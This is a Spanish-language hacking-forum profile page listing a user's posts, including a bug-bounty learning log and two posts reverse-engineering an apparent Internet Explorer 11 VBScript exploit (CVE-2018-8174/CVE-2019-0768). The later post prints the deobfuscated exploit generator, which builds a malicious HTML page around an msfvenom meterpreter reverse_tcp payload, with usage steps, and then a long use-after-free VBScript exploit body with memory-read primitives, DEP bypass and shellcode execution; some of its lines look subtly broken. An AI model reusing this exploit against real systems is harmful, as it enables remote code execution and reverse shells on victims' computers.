elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6
1  Seguridad Informática / Análisis y Diseño de Malware / Re: Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11 en: Hoy a las 00:57
El script VBScript que implementa técnicas de explotación de vulnerabilidades, específicamente utilizando técnicas de "use-after-free" y manipulación de memoria. A continuación, se detalla su funcionamiento técnico

Funcionamiento Técnico del Script

  • Inicialización de Variables: Se definen varios arreglos y variables que se utilizarán para almacenar direcciones de memoria, valores aleatorios y otros datos necesarios para la explotación.
  • Generación de Consultas:
    La función generateQuery(Domain) genera una consulta aleatoria para un dominio dado, utilizando valores aleatorios y manipulaciones matemáticas.
  • Codificación de Cadenas:
    La función encodeString(inputString) convierte una cadena de texto en su representación hexadecimal, que se utiliza más adelante en el shellcode.



Manipulación de Memoria:
  • getUint32(value): Accede a un valor de 32 bits en una dirección de memoria específica.
  • leakVBScriptAddress(): Intenta filtrar la dirección de la memoria de VBScript, lo que puede ser útil para la explotación.
  • getBaseAddressByDOSmodeSearch(importAddress): Busca la dirección base de un módulo en memoria.


Comparación de Cadenas:
  • compareStringsWrapper(value1, value2): Compara dos cadenas, ignorando mayúsculas y minúsculas.


  • getProcAddress(dllBase, functionName): Obtiene la dirección de una función exportada de una DLL dada.

Generación y Ejecución de Shellcode:
  • getShellcode(): Genera el shellcode que se ejecutará.
  • executeShellcode(): Ejecuta el shellcode en la memoria.
Clases y Manejo de Memoria:
  • Se definen varias clases (Class1, Class2, MemoryClass, etc.) que están relacionadas con la gestión de memoria y la manipulación de objetos.
Explotación:
  • startExploit(): Esta es la función principal que orquesta la explotación. Llama a otras funciones para preparar el entorno, filtrar direcciones de memoria, y finalmente ejecutar el shellcode.

Diagrama de Flujo Simplificado

A continuación, se presenta un diagrama de flujo simplificado que ilustra el proceso general del script:

Code

Código
  1. Copiar código
  2. Inicio
  3.  |
  4.  v
  5. Inicializar Variables
  6.  |
  7.  v
  8. Llamar a startExploit()
  9.  |
  10.  v
  11. Ejecutar useAfterFree()
  12.  |
  13.  v
  14. Inicializar Objetos
  15.  |
  16.  v
  17. Filtrar Dirección de VBScript
  18.  |
  19.  v
  20. Obtener Direcciones de Módulos
  21.  |
  22.  v
  23. Generar Shellcode
  24.  |
  25.  v
  26. Ejecutar Shellcode
  27.  |
  28.  v
  29. Fin
  30.  

Descripción del Diagrama de Flujo

  • Inicio: Comienza la ejecución del script.
  • Inicializar Variables: Se definen y se inicializan las variables necesarias
  • Llamar a startExploit(): Se inicia el proceso de explotación.
  • Ejecutar useAfterFree(): Se ejecuta la función que implementa la técnica de "use-after-free".
  • Inicializar Objetos: Se inicializan los objetos necesarios para la explotación.
  • Filtrar Dirección de VBScript: Se intenta obtener la dirección de la memoria de VBScript.
  • Obtener Direcciones de Módulos: Se obtienen las direcciones de los módulos necesarios (DLLs).
  • Generar Shellcode: Se genera el shellcode que se ejecutará.
  • Ejecutar Shellcode: Se ejecuta el shellcode en la memoria.
  • Fin: Termina la ejecución del script.


La técnica de "use-after-free" es una vulnerabilidad de seguridad que ocurre en programas que gestionan memoria dinámica. Esta vulnerabilidad se produce cuando un programa continúa utilizando un puntero a un bloque de memoria que ya ha sido liberado (o "liberado"). A continuación, se detalla cómo funciona esta técnica, sus implicaciones y ejemplos.

En lenguajes de programación que permiten la gestión manual de memoria (como C o C++), los programadores pueden asignar y liberar memoria dinámicamente.
Cuando un bloque de memoria ya no es necesario, se libera utilizando funciones como free() en C.

Punteros:
Un puntero es una variable que almacena la dirección de un bloque de memoria.
Si un puntero se utiliza después de que su bloque de memoria ha sido liberado, se produce un "use-after-free".

El uso de un puntero después de liberar la memoria puede llevar a comportamientos inesperados, como la corrupción de datos, fallos del programa o, en el peor de los casos, la ejecución de código malicioso.

Ejemplo de "Use-After-Free"
Imaginemos un ejemplo simple en C:

Código
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. void example() {
  5.    char *str = (char *)malloc(20); // Asignar memoria
  6.    strcpy(str, "Hello, World!");
  7.    printf("%s\n", str); // Usar la memoria
  8.  
  9.    free(str); // Liberar la memoria
  10.  
  11.    // Aquí ocurre el use-after-free
  12.    printf("%s\n", str); // Uso del puntero después de liberar la memoria
  13. }
  14.  
En este ejemplo, después de liberar str, el programa intenta acceder a la memoria a la que str apuntaba. Esto puede resultar en un comportamiento indefinido.
2  Seguridad Informática / Nivel Web / Bitácora de ruta de aprendizaje de Bug Bounty. En busca de los primeros 1000$ en: Ayer a las 20:30
Saludos comunidad

Actualmente existe una gran diversidad de opciones para monetizar las practicas de Hacking de forma aparentemente legal y que nos ayuda a desviar la mala imagen del "hacker" como criminal informatico. Pues bien el dia de hoy quiero abrir un hilo que sirva como registro sistematico de mi aprendizaje en este nicho de Networking y como lograre obtener y lograr monetizar todo el conocimiento que recopile los caminos a trabajar y demas. El motivo principal de esto es que logro observar que en el mundo de la informatica los tutoriales parecen mas un copia y pega de otros canales y la documentacion al respecto parece mas una biblia tecnica que una ruta para aprender. Si bien el objectivo principal es la recompensa de errores por explotacion Web. En este hilo puedo tocar mas de un tema relacionado.

¿Que es el Bug Bounty?

El Bug Bounty Hunter es un programa de auditoria donde se dan recompensas por el reporte de fallos a sistemas informaticos.

A través de estas plataformas las empresas interesadas en auditar sus servicios logran conectar con hackers éticos de cualquier lugar del planeta dispuestos a poner a prueba la seguridad de sus servicios. Cualquiera puede inscribirse y participar de estos programas de Bug Bounty, ya sea como un hobby o como una actividad lucrativa. Las empresas cuando abren sus programas detallan el alcance del mismo y fijan distintos premios para quienes encuentren fallos, generalmente de según la gravedad de los mismos.

Desde un punto de vista técnico, un Bug Bounty Hunter realiza actividades como:

Reconocimiento y recopilación de información: Utiliza herramientas y técnicas para mapear la infraestructura del objetivo, identificar subdominios, servicios en ejecución, tecnologías utilizadas, etc. Ejemplos de herramientas incluyen Nmap, Recon-ng, y Shodan.

Análisis de vulnerabilidades: Emplea técnicas de escaneo y análisis para detectar fallos como inyección SQL, Cross-Site Scripting (XSS), desbordamientos de búfer, errores de configuración, etc. Herramientas como Burp Suite, OWASP ZAP, y metasploit son comunes en esta etapa.

Explotación controlada: Cuando encuentra una vulnerabilidad, intenta explotarla de manera ética para confirmar su impacto, siempre respetando las reglas del programa de bug bounty y sin causar daños.

Documentación y reporte: Finalmente, redacta informes detallados que describen la vulnerabilidad, cómo fue encontrada, el impacto potencial y las pasos para reproducirla. Esto ayuda a los equipos de seguridad a corregir el fallo.

Es importante destacar que los Bug Bounty Hunters deben seguir un código ético estricto, respetando las reglas del programa y actuando con responsabilidad para no causar daños ni vulnerar la privacidad de los usuarios.

¿Como se trabajan en estos programas?

Si bien podemos encontrar empresas que ofrecen programas de recomensas de forma publica aplicando busquedas de Google Dorks en el sigueinte enlace https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt.  Existen empresas que intermedian estos procesos donde el principal cliente es la empresa que abre sus sistemas. Las plataformas mas conocidas son

HackerOne: https://www.hackerone.com/
Bugcrowd: https://www.bugcrowd.com/
Intigriti: https://www.intigriti.com/
YesWeHack: https://www.yeswehack.com/
Synack: https://www.synack.com/

Todo lo anterior serian los entornos de trabajos publicos o que podemos conseguir en internet.

¿Herramientas tipicas de en el Bug Bounty?

Pues existen gran variedad de herramientas y metodologias entre ellas

Herramientas técnicas avanzadas
Burp Suite (Pro y Community)

Interceptación y modificación de tráfico: Permite capturar y modificar solicitudes HTTP/HTTPS en tiempo real.
Spidering y crawling: Automatiza la exploración de sitios web para descubrir todos los endpoints.
Scanner: En la versión Pro, realiza análisis automatizados de vulnerabilidades como XSS, inyección SQL, etc.
Repeater y Intruder: Para pruebas manuales y automatizadas de inyección y manipulación de datos.
Extensiones (BApp Store): Añade funcionalidades como detección de vulnerabilidades específicas, análisis de javascript, etc.
OWASP ZAP (Zed Attack Proxy)

Proxy intercept: Similar a Burp, permite inspeccionar y modificar tráfico.
Automatización: Scripts en Python o Java para automatizar pruebas.
Plugins y extensiones: Para detección de vulnerabilidades específicas.
Active y passive scanning: Análisis en tiempo real y análisis pasivo para detectar problemas sin afectar la aplicación.
Nmap y NSE (Nmap Scripting Engine)

Escaneo de puertos y servicios: Detecta qué servicios están activos en un host.
Detección de versiones: Identifica versiones específicas de servicios y posibles vulnerabilidades conocidas.
Scripts NSE: Scripts personalizados para detectar vulnerabilidades específicas, como detección de servidores web vulnerables, servicios con configuraciones inseguras, etc.
Metasploit Framework

Exploits y payloads: Amplia base de exploits para vulnerabilidades conocidas.
Auxiliary modules: Para escaneo, fuzzing y recopilación de información.
Post-exploitation: Para mantener acceso, escalada de privilegios y recopilación de datos.
SQLmap

Automatización de inyección SQL: Detecta y explota vulnerabilidades de inyección SQL.
Soporte para diferentes bases de datos: MySQL, PostgreSQL, Oracle, SQL Server, etc.
Técnicas avanzadas: Blind SQL injection, out-of-band, y técnicas de evasión.
Recon-ng

Módulo de reconocimiento: Para recopilar información sobre dominios, subdominios, correos electrónicos, etc.
Integración con otras herramientas: Como Shodan, VirusTotal, etc.
Automatización: Scripts para realizar reconocimiento en masa.
Gobuster / Dirb

Fuzzing de directorios y archivos: Para descubrir recursos ocultos en servidores web.
Diccionarios personalizados: Para mejorar la detección de recursos específicos.
Wireshark

Análisis en profundidad del tráfico de red: Para detectar datos sensibles, sesiones no cifradas, o tráfico malicioso.
Filtros avanzados: Para aislar tipos específicos de tráfico o protocolos.
JoomScan / WPScan

Detección de vulnerabilidades específicas: En plataformas CMS como Joomla o WordPress.
Plugins y temas vulnerables: Identificación de componentes desactualizados o con vulnerabilidades conocidas.
Conocimientos técnicos avanzados
Protocolos web y de red

HTTP/HTTPS, WebSocket, TCP/IP, DNS, TLS/SSL, etc.
Análisis de cabeceras, cookies, tokens, sesiones, y mecanismos de autenticación.
Programación y scripting

Python: Para automatización, creación de exploits, análisis de respuestas.
Bash: Para scripting en Linux, automatización de tareas.
javascript: Para entender y explotar vulnerabilidades en el lado cliente, como XSS.
Otros lenguajes: Ruby (para Metasploit), PowerShell (en entornos Windows).
Seguridad en aplicaciones web

Inyección SQL: Técnicas de detección y explotación.
Cross-Site Scripting (XSS): Tipos (Reflejado, Persistente, DOM-based), técnicas de evasión.
Cross-Site Request Forgery (CSRF): Cómo detectar y prevenir.
Inyección de comandos: En servidores y aplicaciones.
Autenticación y autorización: Flujos, sesiones, tokens JWT

¿Top 10 de las vulnerabilidades mejores pagadas?

top 10 de las vulnerabilidades mejor pagadas en el mundo del bug bounty y la seguridad, basándome en las tendencias y recompensas que suelen ofrecer las plataformas y empresas. Recuerda que los pagos pueden variar según la gravedad, la empresa y la complejidad del hallazgo, pero estas son algunas de las más lucrativas y buscadas:

1. Inyección SQL (SQL Injection)

Descripción: Permite a un atacante manipular consultas SQL para acceder, modificar o eliminar datos en la base de datos.
Recompensa: Hasta decenas de miles de dólares, especialmente si se obtiene acceso a datos sensibles o control del sistema.

2. Cross-Site Scripting (XSS) Persistente y DOM-based

Descripción: Permite ejecutar scripts maliciosos en el navegador de otros usuarios, pudiendo robar cookies, sesiones o realizar acciones en nombre de la víctima.
Recompensa: Hasta $30,000 o más en casos críticos.

3. Vulnerabilidades de Autenticación y Sesiones (como fallos en OAuth, tokens inseguros, etc.)

Descripción: Fallos que permiten a un atacante suplantar identidades o secuestrar sesiones.
Recompensa: Hasta $50,000 o más si se compromete un sistema de alta seguridad.

4. Desbordamiento de Buffer (Buffer Overflow)

Descripción: Permite ejecutar código arbitrario en el sistema afectado, potencialmente tomando control completo del sistema.
Recompensa: Hasta $100,000 en casos de vulnerabilidades en software crítico.

5. Vulnerabilidades en Autenticación Multifactor (MFA) mal implementada o saltada

Descripción: Fallos que permiten evadir mecanismos de MFA, comprometiendo cuentas de alto valor.
Recompensa: Hasta $20,000 - $50,000.

6. Exploits en APIs (como inyección, autenticación, autorización)

Descripción: Fallos en APIs que permiten acceso no autorizado o manipulación de datos.
Recompensa: Hasta $25,000 o más en casos críticos.

7. Vulnerabilidades en Sistemas de Pago y Finanzas (como fallos en plataformas bancarias, criptomonedas)

Descripción: Fallos que permiten transferencias no autorizadas o robo de fondos.
Recompensa: Hasta cientos de miles de dólares en casos extremos.

8. Vulnerabilidades en Software de Infraestructura (como servidores, sistemas operativos, cloud)

Descripción: Fallos que permiten control total del sistema o acceso a datos confidenciales.
Recompensa: Hasta $100,000 o más en casos de impacto global.

9. Vulnerabilidades en Plataformas de Redes Sociales y Servicios de Mensajería

Descripción: Fallos que permiten manipular cuentas, robar datos o realizar ataques de spam.
Recompensa: Hasta $20,000 - $50,000.

10. Vulnerabilidades en IoT y Dispositivos Conectados

Descripción: Fallos que permiten controlar dispositivos, acceder a redes internas o realizar ataques de denegación de servicio.
Recompensa: Hasta $10,000 - $50,000 dependiendo del impacto.

Los numeros anteriores son demasiado optimistas y parecen demasiado bueno para ser verdad.

Las fuentes de informacion de donde planeo investigar incluyendo la biblioteca de ElHacker.net son

HackerOne Hacktivity

Explora informes públicos de vulnerabilidades reportadas y aprende de casos reales.
https://hackerone.com/hacktivity

Bugcrowd University

Cursos gratuitos, guías y recursos para aprender sobre bug bounty y seguridad.
https://www.bugcrowd.com/resources/bugcrowd-university/
PortSwigger Web Security Academy

Laboratorios prácticos y tutoriales sobre vulnerabilidades web.
https://portswigger.net/web-security
TryHackMe

Laboratorios interactivos y rutas de aprendizaje en hacking ético y bug bounty.
https://tryhackme.com/
Hack The Box

Desafíos prácticos en seguridad y hacking ético, con escenarios reales.
https://www.hackthebox.eu/
VulnHub

Máquinas vulnerables para practicar hacking en un entorno controlado.
https://www.vulnhub.com/
OWASP WebGoat

Aplicación web vulnerable para aprender y practicar técnicas de explotación.
https://owasp.org/www-project-webgoat/
PentesterLab

Cursos prácticos en seguridad web y APIs, con enfoque en bug bounty.
https://pentesterlab.com/
YouTube - Canales especializados

LiveOverflow: https://www.youtube.com/c/LiveOverflow
The Cyber Mentor: https://www.youtube.com/c/TheCyberMentor
HackerSploit: https://www.youtube.com/c/HackerSploit
Reddit - r/bugbounty

Comunidad activa para compartir experiencias y recursos.
https://www.reddit.com/r/bugbounty/
Discord - Bug Bounty World (y otros grupos)

Comunidad en Discord para aprender y compartir en tiempo real.
https://discord.gg/bugbountyworld

. Es un registro de proyecto ambicioso al que quiero dedicar todo el tiempo que me permita mi vida cotidiana. Asi que aqui os dejo un resumen de todo lo que planeo publicar
3  Seguridad Informática / Bugs y Exploits / [Bug Bounty Hunter] Mas de 1000$ en pagos ¿Realidad o mito? en: 9 Mayo 2025, 21:09 pm
Saludos despues de dias de inactividad me llegaron comentarios relacionado con temas de la "Caza" de Vulnerabilidades y pagos, mi consulta actual respecto a la comunidad seria si algunos de vosotros ya lograron este tipo de trabajos y como es el proceso real para cobrar el dinero respecto a la explotación. Algunos enlaces que consulte antes de realizar estas preguntas

https://disclose.io/
https://blog.hackbynight.nl/getting-started-with-bug-bounty-hunting-in-2025-a-real-world-guide-051a3fb36376
https://www.bugbountyhunter.com/getting-started/

Saludos
4  Programación / Python / Re: [Taller/Aporte] Introduccion a Redes Neuronales Artificiles e inteligencia artificial con Python en: 25 Abril 2025, 19:15 pm
Simplemente para que sepas, me interesa pero no lo entiendo. Podría decir que falta ver un ejemplo, el resultado, lo gráfico de eso ya que se habla de algo gráfico, pero creo que ni así lo entendería.

Es correcto. Me tomare el tiempo de investigar las librerias y tomar ejemplos con capturas y demas, asi se entendera mejor el tema. El uso de librerias facilita el desarrollo del codigo pero dichas librerias tienen mucho material ademas del material teorico de las redes neuronales que por si son complicadas. En unas semanas mejoro el Taller para crear una guia practica.

Saludos
5  Seguridad Informática / Análisis y Diseño de Malware / Re: Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11 en: 25 Abril 2025, 19:06 pm
Codigo Decodificado

Analizando y reescribiendo las variables eliminando la molesta ofuscacion podemos entender mejor la funcionalidad del mismo. Pues bien, aunque ya existe documentacion no esta demas investigar y profundizar realizando algo de ingenieria inversa.

Código
  1.  
  2. import sys
  3. import subprocess
  4.  
  5. usage_text = """
  6. Exploit Generator for CVE-2018-8174 & CVE-2019-0768
  7.  
  8. Prerequisite:
  9. - Metasploit
  10. - msfvenom
  11.  
  12. Usage: python ie11_vbscript.py [Listener IP] [Listener Port]
  13.  
  14. Instruction:
  15. 1. Use this script to generate "exploit.html"
  16. 2. Host the html file on your server
  17. 3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
  18. 4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
  19. """
  20.  
  21. if len(sys.argv) != 3:
  22.    print(usage_text)
  23.    sys.exit()
  24.  
  25. listener_ip = sys.argv[1]
  26. listener_port = sys.argv[2]
  27. process = subprocess.Popen(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=" + listener_ip, "LPORT=" + listener_port, "-b", "'\\x00'", "-f", "js_le"], stdout=subprocess.PIPE)
  28.  
  29. output = process.communicate()
  30. payload_result = output[0]
  31. payload = """
  32. <!doctype html>
  33. <html lang="en">
  34. <head>
  35. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  36. <meta http-equiv="x-ua-compatible" content="IE=5">
  37. <meta http-equiv="Expires" content="0">
  38. <meta http-equiv="Pragma" content="no-cache">
  39. <meta http-equiv="Cache-control" content="no-cache">
  40. <meta http-equiv="Cache" content="no-cache">
  41. </head>
  42. <body>
  43. <script language="VBScript.Encode">
  44. (Exploit Code VBScript)
  45. </script>
  46. </body>
  47. </html>
  48. """
  49.  
  50. with open("exploit.html", "w") as f:
  51.    f.write(payload)
  52.  
  53.  

En "(Exploit Code VBScript)" esta etiqueta no es mas que el codigo VBScript con variables renombradas acontinuación.

Código
  1. Dim scriptVariable
  2. Dim array1(6), array2(6)
  3. Dim someVariable
  4. Dim memoryArray(40)
  5. Dim address1, address2
  6. Dim variable1
  7. Dim counter1, counter2
  8. Dim variable2, variable3
  9. Dim continueAddress, virtualProtectAddress
  10.  
  11. variable1 = 195948557
  12. address1 = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
  13. address2 = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
  14. someVariable = 195890093
  15.  
  16. Function generateQuery(Domain)
  17.    scriptVariable = 0
  18.    randomValue1 = 0
  19.    randomValue2 = 0
  20.    randomId = CLng(Rnd * 1000000)
  21.    scriptVariable = CLng((&h27d + 8231 - &H225b) * Rnd) Mod (&h137d + 443 - &H152f) + (&h1c17 + 131 - &H1c99)
  22.    If (randomId + scriptVariable) Mod (&h5c0 + 6421 - &H1ed3) = (&h10ba + 5264 - &H254a) Then
  23.        scriptVariable = scriptVariable - (&h86d + 6447 - &H219b)
  24.    End If
  25.  
  26.    randomValue1 = CLng((&h2bd + 6137 - &H1a6d) * Rnd) Mod (&h769 + 4593 - &H1940) + (&h1a08 + 2222 - &H2255)
  27.    randomValue2 = CLng((&h14e6 + 1728 - &H1b5d) * Rnd) Mod (&hfa3 + 1513 - &H1572) + (&h221c + 947 - &H256e)
  28.    generateQuery = Domain & "?" & Chr(randomValue1) & "=" & randomId & "&" & Chr(randomValue2) & "=" & scriptVariable
  29. End Function
  30.  
  31. Function encodeString(ByVal inputString)
  32.    Dim encodedString
  33.    encodedString = ""
  34.    For index = 0 To Len(inputString) - 1
  35.        encodedString = encodedString & convertToHex(Asc(Mid(inputString, index + 1, 1)), 2)
  36.    Next
  37.    encodedString = encodedString & "00"
  38.    If Len(encodedString) / (&h15c6 + 3068 - &H21c0) Mod (&h1264 + 2141 - &H1abf) = (&hc93 + 6054 - &H2438) Then
  39.        encodedString = encodedString & "00"
  40.    End If
  41.    For i = (&h1a1a + 3208 - &H26a2) To Len(encodedString) / (&h1b47 + 331 - &H1c8e) - (&h14b2 + 4131 - &H24d4)
  42.        part1 = Mid(encodedString, i * (&h576 + 1268 - &Ha66) + (&ha64 + 6316 - &H230f), (&ha49 + 1388 - &Hfb3))
  43.        part2 = Mid(encodedString, i * (&hf82 + 3732 - &H1e12) + (&h210 + 2720 - &Hcaf) + (&h4fa + 5370 - &H19f2), (&hf82 + 5508 - &H2504))
  44.        encodeString = encodeString & "%u" & part2 & part1
  45.    Next
  46. End Function
  47.  
  48. Function getUint32(value)
  49.    Dim result
  50.    memoryArray.mem(variable1 + 8) = value + 4
  51.    result = memoryArray.mem(variable1)
  52.    memoryArray.mem(variable1) = 2
  53.    getUint32 = result
  54. End Function
  55.  
  56. Function leakVBScriptAddress()
  57.    On Error Resume Next
  58.    Dim temp
  59.    temp = someVariable
  60.    temp = null
  61.    setMemoryValue temp
  62.    leakVBScriptAddress = getMemoryValue()
  63. End Function
  64.  
  65. Function getBaseAddressByDOSmodeSearch(importAddress)
  66.    Dim baseAddress
  67.    baseAddress = importAddress And &hffff0000
  68.    Do While getUint32(baseAddress + (&h748 + 4239 - &H176f)) <> 544106784 Or getUint32(baseAddress + (&ha2a + 7373 - &H268b)) <> 542330692
  69.        baseAddress = baseAddress - 65536
  70.    Loop
  71.    getBaseAddressByDOSmodeSearch = baseAddress
  72. End Function
  73.  
  74. Function compareStringsWrapper(value1, value2)
  75.    Dim tempString
  76.    tempString = ""
  77.    For i = (&ha2a + 726 - &Hd00) To Len(value2) - (&h2e1 + 5461 - &H1835)
  78.        tempString = tempString & Chr(getUint32(value1 + i))
  79.    Next
  80.    compareStringsWrapper = StrComp(UCase(tempString), UCase(value2))
  81. End Function
  82.  
  83. Function getBaseFromImport(baseAddress, dllName)
  84.    Dim importRVA, ntHeader, descriptor, importDirectory
  85.    Dim functionAddress
  86.    ntHeader = getUint32(baseAddress + (&h3c))
  87.    importRVA = getUint32(baseAddress + ntHeader + &h80)
  88.    importDirectory = baseAddress + importRVA
  89.    descriptor = 0
  90.    Do While True
  91.        Dim name
  92.        name = getUint32(importDirectory + descriptor * (&h14) + &hc)
  93.        If name = 0 Then
  94.            getBaseFromImport = &hBAAD0000
  95.            Exit Function
  96.        Else
  97.            If compareStringsWrapper(baseAddress + name, dllName) = 0 Then
  98.                Exit Do
  99.            End If
  100.        End If
  101.        descriptor = descriptor + 1
  102.    Loop
  103.    functionAddress = getUint32(importDirectory + descriptor * (&h14) + &h10)
  104.    getBaseFromImport = getBaseAddressByDOSmodeSearch(getUint32(baseAddress + functionAddress))
  105. End Function
  106.  
  107. Function getProcAddress(dllBase, functionName)
  108.    Dim exportDirectory, index
  109.    Dim functionRVAs, functionNames, functionOrdinals
  110.    Dim functionAddress
  111.    exportDirectory = getUint32(dllBase + &h3c)
  112.    exportDirectory = getUint32(dllBase + exportDirectory + &h78)
  113.    exportDirectory = dllBase + exportDirectory
  114.  
  115.    functionRVAs = dllBase + getUint32(exportDirectory + &h1c)
  116.    functionNames = dllBase + getUint32(exportDirectory + &h20)
  117.    functionOrdinals = dllBase + getUint32(exportDirectory + &h24)
  118.    index = 0
  119.    Do While True
  120.        Dim functionNameAddress
  121.        functionNameAddress = getUint32(functionNames + index * 4)
  122.        If compareStringsWrapper(dllBase + functionNameAddress, functionName) = 0 Then
  123.            Exit Do
  124.        End If
  125.        index = index + 1
  126.    Loop
  127.    functionAddress = getUint32(functionOrdinals + index * 2)
  128.    getProcAddress = dllBase + functionAddress
  129. End Function
  130.  
  131. Function getShellcode()
  132.    Dim shellcode
  133.    shellcode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("{shellcode}" & encodeString(generateQuery("")))
  134.    shellcode = shellcode & String((&h80000 - LenB(shellcode)) / 2, Unescape("%u4141"))
  135.    getShellcode = shellcode
  136. End Function
  137.  
  138. Function escapeAddress(ByVal value)
  139.    Dim highPart, lowPart
  140.    highPart = convertToHex((value And &hffff0000) / &h10000, 4)
  141.    lowPart = convertToHex(value And &hffff, 4)
  142.    escapeAddress = Unescape("%u" & lowPart & "%u" & highPart)
  143. End Function
  144.  
  145. Function prepareShellcode()
  146.    Dim shellcodeString, part1, part2, part3, part4
  147.    part1 = convertToHex(continueAddress, 8)
  148.    part2 = Mid(part1, 1, 2)
  149.    part3 = Mid(part1, 3, 2)
  150.    part4 = Mid(part1, 5, 2)
  151.    shellcodeString = ""
  152.    shellcodeString = shellcodeString & "%u0000%u" & part4 & "00"
  153.    For i = 1 To 3
  154.        shellcodeString = shellcodeString & "%u" & part3 & part2
  155.        shellcodeString = shellcodeString & "%u" & part4 & part2
  156.    Next
  157.    shellcodeString = shellcodeString & "%u" & part3 & part2
  158.    shellcodeString = shellcodeString & "%u00" & part2
  159.    prepareShellcode = Unescape(shellcodeString)
  160. End Function
  161.  
  162. Function wrapShellcodeWithNtContinueContext(shellcodeAddress)
  163.    Dim shellcodeWrapper
  164.    shellcodeWrapper = String((100334 - 65536), Unescape("%u4141"))
  165.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
  166.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
  167.    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h3000)
  168.    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h40)
  169.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress - 8)
  170.    shellcodeWrapper = shellcodeWrapper & String(6, Unescape("%u4242"))
  171.    shellcodeWrapper = shellcodeWrapper & prepareShellcode()
  172.    shellcodeWrapper = shellcodeWrapper & String((&h80000 - LenB(shellcodeWrapper)) / 2, Unescape("%u4141"))
  173.    wrapShellcodeWithNtContinueContext = shellcodeWrapper
  174. End Function
  175.  
  176. Function expandWithVirtualProtect(shellcodeLocation)
  177.    Dim virtualProtectExpansion
  178.    Dim adjustedLocation
  179.    adjustedLocation = shellcodeLocation + &h23
  180.    virtualProtectExpansion = ""
  181.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(adjustedLocation)
  182.    virtualProtectExpansion = virtualProtectExpansion & String((&hb8 - LenB(virtualProtectExpansion)) / 2, Unescape("%4141"))
  183.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(virtualProtectAddress)
  184.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h1b)
  185.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(0)
  186.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(shellcodeLocation)
  187.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h23)
  188.    virtualProtectExpansion = virtualProtectExpansion & String((&400 - LenB(virtualProtectExpansion)) / 2, Unescape("%u4343"))
  189.    expandWithVirtualProtect = virtualProtectExpansion
  190. End Function
  191.  
  192. Sub executeShellcode()
  193.    memoryArray.mem(variable1) = &h4D ' DEP bypass
  194.    memoryArray.mem(variable1 + 8) = 0
  195.    msgbox(variable1) ' VT replaced
  196. End Sub
  197.  
  198. Class Class1
  199.    Private Sub Class_Terminate()
  200.        Set array1(IllI) = allocateMemory((&h1078 + 5473 - &H25d8))
  201.        IllI = IllI + (&h14b5 + 2725 - &H1f59)
  202.        allocateMemory((&h79a + 3680 - &H15f9)) = (&h69c + 1650 - &Hd0d)
  203.    End Sub
  204. End Class
  205.  
  206. Class Class2
  207.    Private Sub Class_Terminate()
  208.        Set array2(IllI) = allocateMemory((&h15b + 3616 - &Hf7a))
  209.        IllI = IllI + (&h880 + 542 - &Ha9d)
  210.        allocateMemory((&h1f75 + 342 - &H20ca)) = (&had3 + 3461 - &H1857)
  211.    End Sub
  212. End Class
  213.  
  214. Class Class3
  215. End Class
  216.  
  217. Class MemoryClass
  218.    Dim memory
  219.    Function P
  220.    End Function
  221.    Function SetProperty(Value)
  222.        memory = Value
  223.        SetProperty = 0
  224.    End Function
  225. End Class
  226.  
  227. Class MemoryAccessClass
  228.    Dim memory
  229.    Function GetMemoryLength
  230.        GetMemoryLength = LenB(memory(variable1 + 8))
  231.    End Function
  232.    Function SPP
  233.    End Function
  234. End Class
  235.  
  236. Class MemoryHandlerClass
  237.    Public Default Property Get P
  238.        Dim temp
  239.        P = 174088534690791e-324
  240.        For i = (&h7a0 + 4407 - &H18d7) To (&h2eb + 1143 - &H75c)
  241.            array1(i) = (&h2176 + 711 - &H243d)
  242.        Next
  243.        Set temp = New MemoryAccessClass
  244.        temp.memory = address1
  245.        For i = (&h1729 + 3537 - &H24fa) To (&h1df5 + 605 - &H204c)
  246.            Set array1(i) = temp
  247.        Next
  248.    End Property
  249. End Class
  250.  
  251. Class MemoryHandlerClass2
  252.    Public Default Property Get P
  253.        Dim temp
  254.        P = 636598737289582e-328
  255.        For i = (&h1063 + 2314 - &H196d) To (&h4ac + 2014 - &Hc84)
  256.            array2(i) = (&h442 + 2598 - &He68)
  257.        Next
  258.        Set temp = New MemoryAccessClass
  259.        temp.memory = address2
  260.        For i = (&h7eb + 3652 - &H162f) To (&h3e8 + 1657 - &Ha5b)
  261.            Set array2(i) = temp
  262.        Next
  263.    End Property
  264. End Class
  265.  
  266. Set memoryHandler1 = New MemoryHandlerClass
  267. Set memoryHandler2 = New MemoryHandlerClass2
  268.  
  269. Sub useAfterFree()
  270.    For i = (&hfe8 + 3822 - &H1ed6) To (&h8b + 8633 - &H2233)
  271.        Set array1(i) = New Class1
  272.    Next
  273.    For i = (&haa1 + 6236 - &H22e9) To (&h1437 + 3036 - &H1fed)
  274.        Set array1(i) = New Class2
  275.    Next
  276.    IllI = 0
  277.    For i = 0 To 6
  278.        ReDim array1(1)
  279.        Set array1(1) = New Class1
  280.        Erase array1
  281.    Next
  282.    Set memoryHandler = New MemoryClass
  283.    IllI = 0
  284.    For i = 0 To 6
  285.        ReDim array1(1)
  286.        Set array1(1) = New Class2
  287.        Erase array1
  288.    Next
  289.    Set memoryHandler2 = New MemoryClass
  290. End Sub
  291.  
